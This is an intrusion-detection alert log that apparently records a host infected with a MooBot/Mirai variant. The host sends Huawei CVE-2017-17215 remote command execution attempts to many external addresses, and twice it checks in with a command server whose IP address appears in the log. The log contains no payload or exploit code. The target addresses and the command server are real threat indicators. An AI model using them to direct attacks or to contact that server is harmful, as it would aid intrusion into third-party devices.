2024-08-01T15:35:16.933538+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47826	37215	192.168.2.14	168.204.229.155
2024-08-01T15:35:20.206974+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52318	37215	192.168.2.14	197.152.239.61
2024-08-01T15:35:21.886890+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53172	37215	192.168.2.14	41.241.175.134
2024-08-01T15:35:37.354900+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40702	37215	192.168.2.14	197.36.124.28
2024-08-01T15:35:20.545450+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55946	37215	192.168.2.14	157.66.197.74
2024-08-01T15:36:15.149238+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43636	37215	192.168.2.14	86.104.252.94
2024-08-01T15:35:58.618628+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42780	37215	192.168.2.14	41.190.45.228
2024-08-01T15:35:21.928420+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35858	37215	192.168.2.14	197.54.229.169
2024-08-01T15:36:31.137516+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45332	37215	192.168.2.14	197.244.133.200
2024-08-01T15:36:01.670514+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53506	37215	192.168.2.14	157.169.136.60
2024-08-01T15:35:23.778808+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55252	37215	192.168.2.14	197.85.236.187
2024-08-01T15:35:43.308791+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52954	37215	192.168.2.14	157.103.32.247
2024-08-01T15:36:15.139899+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54414	37215	192.168.2.14	157.217.31.144
2024-08-01T15:35:23.854301+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38626	37215	192.168.2.14	197.108.26.212
2024-08-01T15:35:48.347999+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36528	37215	192.168.2.14	157.31.68.179
2024-08-01T15:35:20.574979+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46700	37215	192.168.2.14	80.200.121.68
2024-08-01T15:35:21.890048+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38160	37215	192.168.2.14	41.109.220.125
2024-08-01T15:35:20.545446+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38288	37215	192.168.2.14	41.38.181.108
2024-08-01T15:36:55.999575+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42064	37215	192.168.2.14	197.183.233.178
2024-08-01T15:35:21.828982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53904	37215	192.168.2.14	197.116.156.209
2024-08-01T15:36:22.368987+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57864	37215	192.168.2.14	157.176.27.47
2024-08-01T15:36:34.860417+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41182	37215	192.168.2.14	41.50.105.25
2024-08-01T15:36:24.439757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46542	37215	192.168.2.14	157.67.188.155
2024-08-01T15:35:17.058730+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45810	37215	192.168.2.14	157.113.100.5
2024-08-01T15:35:17.038193+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54376	37215	192.168.2.14	197.97.234.242
2024-08-01T15:35:20.206147+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41128	37215	192.168.2.14	76.79.65.175
2024-08-01T15:36:24.714361+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59196	37215	192.168.2.14	157.126.142.21
2024-08-01T15:35:20.204697+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34438	37215	192.168.2.14	59.146.160.181
2024-08-01T15:35:20.206917+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39296	37215	192.168.2.14	63.182.26.190
2024-08-01T15:36:01.465160+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52910	37215	192.168.2.14	211.90.63.224
2024-08-01T15:35:02.678856+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37984	37215	192.168.2.14	41.175.200.51
2024-08-01T15:35:21.918438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46604	37215	192.168.2.14	41.147.137.244
2024-08-01T15:35:40.237957+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60480	37215	192.168.2.14	41.223.78.129
2024-08-01T15:34:58.165224+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44082	37215	192.168.2.14	157.23.212.95
2024-08-01T15:36:46.324913+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40460	37215	192.168.2.14	41.65.254.108
2024-08-01T15:36:24.450055+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55788	37215	192.168.2.14	157.212.156.58
2024-08-01T15:35:48.347913+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42480	37215	192.168.2.14	41.246.238.139
2024-08-01T15:35:28.716743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46892	37215	192.168.2.14	197.179.242.13
2024-08-01T15:35:43.227003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58894	37215	192.168.2.14	199.100.160.246
2024-08-01T15:35:50.300205+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60140	37215	192.168.2.14	41.132.18.235
2024-08-01T15:35:17.164984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50458	37215	192.168.2.14	197.185.58.243
2024-08-01T15:36:10.360927+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	57494	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:35.119566+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37168	37215	192.168.2.14	41.200.43.137
2024-08-01T15:36:18.253081+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49758	37215	192.168.2.14	157.206.90.52
2024-08-01T15:36:11.915663+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59054	37215	192.168.2.14	157.148.115.72
2024-08-01T15:36:51.607111+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34304	37215	192.168.2.14	41.159.29.89
2024-08-01T15:35:35.234035+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34090	37215	192.168.2.14	128.73.80.245
2024-08-01T15:35:56.634776+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53910	37215	192.168.2.14	145.69.112.188
2024-08-01T15:36:22.850866+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53626	37215	192.168.2.14	32.153.26.112
2024-08-01T15:36:46.337672+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44012	37215	192.168.2.14	41.66.187.231
2024-08-01T15:35:20.203378+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46892	37215	192.168.2.14	157.172.58.12
2024-08-01T15:35:20.204488+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39356	37215	192.168.2.14	197.113.21.92
2024-08-01T15:36:22.351865+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53596	37215	192.168.2.14	41.217.235.170
2024-08-01T15:35:28.716739+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43622	37215	192.168.2.14	197.88.244.128
2024-08-01T15:36:24.457141+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43684	37215	192.168.2.14	41.185.121.163
2024-08-01T15:35:21.910922+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53132	37215	192.168.2.14	41.76.2.129
2024-08-01T15:35:54.384686+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37260	37215	192.168.2.14	197.191.131.252
2024-08-01T15:36:26.560700+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58428	37215	192.168.2.14	157.248.113.198
2024-08-01T15:36:53.733952+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56100	37215	192.168.2.14	41.212.176.28
2024-08-01T15:35:33.088157+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35260	37215	192.168.2.14	197.225.15.248
2024-08-01T15:35:17.144107+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42060	37215	192.168.2.14	198.59.102.193
2024-08-01T15:35:37.221049+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56392	37215	192.168.2.14	194.117.167.54
2024-08-01T15:35:50.279159+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36012	37215	192.168.2.14	157.197.79.220
2024-08-01T15:36:09.902563+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35372	37215	192.168.2.14	58.62.181.41
2024-08-01T15:36:50.092979+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	42320	56999	192.168.2.14	103.238.235.163
2024-08-01T15:36:14.868068+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42534	37215	192.168.2.14	157.74.121.248
2024-08-01T15:35:56.574709+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46680	37215	192.168.2.14	123.215.72.182
2024-08-01T15:36:20.315370+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51508	37215	192.168.2.14	41.166.193.116
2024-08-01T15:35:21.834926+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39690	37215	192.168.2.14	197.82.105.13
2024-08-01T15:35:20.210341+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59778	37215	192.168.2.14	157.66.58.1
2024-08-01T15:35:20.205725+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35140	37215	192.168.2.14	197.150.90.60
2024-08-01T15:36:53.858575+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55634	37215	192.168.2.14	135.175.26.219
2024-08-01T15:35:50.285393+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56424	37215	192.168.2.14	197.251.127.111
2024-08-01T15:35:17.158668+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51922	37215	192.168.2.14	41.189.120.137
2024-08-01T15:36:55.995393+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49230	37215	192.168.2.14	41.85.183.55
2024-08-01T15:35:17.171012+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41752	37215	192.168.2.14	41.81.68.60
2024-08-01T15:35:37.222155+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42434	37215	192.168.2.14	197.187.206.132
2024-08-01T15:36:06.713592+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59316	37215	192.168.2.14	157.199.186.180
2024-08-01T15:36:11.966764+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33874	37215	192.168.2.14	41.139.7.191
2024-08-01T15:36:16.182777+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53650	37215	192.168.2.14	197.78.73.213
2024-08-01T15:35:16.807216+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49914	37215	192.168.2.14	41.84.67.216
2024-08-01T15:35:50.278180+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60106	37215	192.168.2.14	41.112.37.2
2024-08-01T15:36:14.829856+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41268	37215	192.168.2.14	197.49.113.176
2024-08-01T15:35:20.216317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38880	37215	192.168.2.14	41.116.75.57
2024-08-01T15:36:06.714018+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43342	37215	192.168.2.14	60.159.184.52
2024-08-01T15:36:18.282290+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39252	37215	192.168.2.14	197.248.116.140
2024-08-01T15:36:01.132910+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36106	37215	192.168.2.14	120.72.26.26
2024-08-01T15:36:20.303287+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43158	37215	192.168.2.14	143.161.77.41
2024-08-01T15:36:11.949773+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54088	37215	192.168.2.14	157.106.214.148
2024-08-01T15:35:21.881631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41494	37215	192.168.2.14	157.196.26.75
2024-08-01T15:36:11.953742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45638	37215	192.168.2.14	41.22.47.246
2024-08-01T15:36:10.339062+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53850	37215	192.168.2.14	157.59.51.189
2024-08-01T15:35:17.155297+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52480	37215	192.168.2.14	157.251.61.118
2024-08-01T15:35:20.214949+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48260	37215	192.168.2.14	157.91.246.246
2024-08-01T15:36:14.869645+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52608	37215	192.168.2.14	157.159.5.15
2024-08-01T15:35:54.404707+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52280	37215	192.168.2.14	41.109.248.147
2024-08-01T15:36:24.442194+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51232	37215	192.168.2.14	197.195.253.6
2024-08-01T15:35:20.214650+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35868	37215	192.168.2.14	41.253.207.136
2024-08-01T15:36:57.653669+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39446	37215	192.168.2.14	157.184.179.58
2024-08-01T15:35:21.887693+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40128	37215	192.168.2.14	157.78.220.41
2024-08-01T15:36:06.684131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39344	37215	192.168.2.14	41.156.26.246
2024-08-01T15:35:20.205557+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35776	37215	192.168.2.14	197.71.56.244
2024-08-01T15:35:55.423468+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38766	37215	192.168.2.14	211.211.164.126
2024-08-01T15:36:51.564932+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47434	37215	192.168.2.14	157.230.81.113
2024-08-01T15:36:06.760852+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50962	37215	192.168.2.14	41.15.70.208
2024-08-01T15:36:08.983876+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60172	37215	192.168.2.14	157.90.188.156
2024-08-01T15:36:18.278788+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42796	37215	192.168.2.14	157.106.178.175
2024-08-01T15:35:16.323354+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48754	37215	192.168.2.14	41.147.162.230
2024-08-01T15:35:16.744421+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34188	37215	192.168.2.14	41.89.33.33
2024-08-01T15:36:01.489433+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34014	37215	192.168.2.14	197.244.113.96
2024-08-01T15:36:14.810500+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45900	37215	192.168.2.14	93.202.142.98
2024-08-01T15:36:29.121913+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55948	37215	192.168.2.14	157.152.102.190
2024-08-01T15:35:40.239882+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47224	37215	192.168.2.14	41.225.17.142
2024-08-01T15:36:48.409405+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51604	37215	192.168.2.14	197.77.147.98
2024-08-01T15:35:16.774865+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57120	37215	192.168.2.14	41.148.120.113
2024-08-01T15:36:56.011142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34606	37215	192.168.2.14	197.71.96.218
2024-08-01T15:36:06.682419+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35238	37215	192.168.2.14	164.37.243.92
2024-08-01T15:35:20.207605+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43408	37215	192.168.2.14	157.37.145.138
2024-08-01T15:35:20.209268+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50504	37215	192.168.2.14	197.196.206.55
2024-08-01T15:35:58.635311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43582	37215	192.168.2.14	157.179.167.230
2024-08-01T15:35:21.870121+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34440	37215	192.168.2.14	41.168.112.235
2024-08-01T15:36:53.742974+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40956	37215	192.168.2.14	197.149.127.218
2024-08-01T15:36:36.978466+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45620	37215	192.168.2.14	41.55.173.216
2024-08-01T15:35:21.876302+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57760	37215	192.168.2.14	134.183.251.243
2024-08-01T15:36:32.777870+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59334	37215	192.168.2.14	41.178.52.107
2024-08-01T15:36:57.575715+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46752	37215	192.168.2.14	157.65.44.21
2024-08-01T15:36:26.575350+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51880	37215	192.168.2.14	197.103.225.112
2024-08-01T15:35:45.494780+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46684	37215	192.168.2.14	197.79.158.107
2024-08-01T15:36:46.292734+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37548	37215	192.168.2.14	197.80.144.119
2024-08-01T15:36:28.649721+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37400	37215	192.168.2.14	157.29.68.172
2024-08-01T15:36:28.968157+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36076	37215	192.168.2.14	41.31.87.45
2024-08-01T15:36:34.947714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44164	37215	192.168.2.14	41.31.149.246
2024-08-01T15:35:45.370444+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57116	37215	192.168.2.14	157.87.132.2
2024-08-01T15:36:36.963667+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38274	37215	192.168.2.14	41.117.172.151
2024-08-01T15:36:01.465258+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49128	37215	192.168.2.14	157.196.195.176
2024-08-01T15:35:50.279069+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60910	37215	192.168.2.14	197.121.184.164
2024-08-01T15:35:20.209952+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45612	37215	192.168.2.14	41.2.22.184
2024-08-01T15:36:22.340605+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34838	37215	192.168.2.14	197.62.71.22
2024-08-01T15:35:25.501092+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46740	37215	192.168.2.14	157.52.173.142
2024-08-01T15:35:40.253997+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53712	37215	192.168.2.14	41.225.151.142
2024-08-01T15:35:48.348818+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36058	37215	192.168.2.14	157.80.150.11
2024-08-01T15:35:20.203468+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60066	37215	192.168.2.14	41.38.190.41
2024-08-01T15:36:15.121041+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34250	37215	192.168.2.14	204.157.240.183
2024-08-01T15:35:48.347839+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50936	37215	192.168.2.14	41.241.246.240
2024-08-01T15:35:20.216600+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57220	37215	192.168.2.14	157.106.54.160
2024-08-01T15:36:55.995712+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46214	37215	192.168.2.14	197.54.45.250
2024-08-01T15:35:21.905855+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55352	37215	192.168.2.14	157.162.42.208
2024-08-01T15:36:34.642668+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39032	37215	192.168.2.14	157.230.193.35
2024-08-01T15:36:01.488749+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36122	37215	192.168.2.14	41.86.60.254
2024-08-01T15:36:39.036717+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42350	37215	192.168.2.14	157.16.73.166
2024-08-01T15:35:20.203898+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59624	37215	192.168.2.14	86.145.59.248
2024-08-01T15:36:39.043879+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58810	37215	192.168.2.14	197.67.4.98
2024-08-01T15:35:21.906879+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49434	37215	192.168.2.14	157.253.10.34
2024-08-01T15:35:58.823650+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36402	37215	192.168.2.14	157.238.54.241
2024-08-01T15:35:20.203214+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34188	37215	192.168.2.14	41.3.255.40
2024-08-01T15:35:21.865220+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52170	37215	192.168.2.14	41.170.129.204
2024-08-01T15:36:40.245805+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34740	37215	192.168.2.14	41.81.121.16
2024-08-01T15:36:52.654218+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51130	37215	192.168.2.14	197.249.236.85
2024-08-01T15:36:22.359148+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42286	37215	192.168.2.14	41.12.148.212
2024-08-01T15:35:45.518914+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54102	37215	192.168.2.14	197.230.46.21
2024-08-01T15:36:05.361834+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53356	37215	192.168.2.14	41.60.45.104
2024-08-01T15:36:44.181353+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43242	37215	192.168.2.14	41.132.27.254
2024-08-01T15:36:36.946908+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44408	37215	192.168.2.14	197.205.93.171
2024-08-01T15:36:06.759128+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47508	37215	192.168.2.14	180.214.38.48
2024-08-01T15:36:57.564846+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48944	37215	192.168.2.14	41.185.253.121
2024-08-01T15:35:35.183000+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54124	37215	192.168.2.14	41.200.98.90
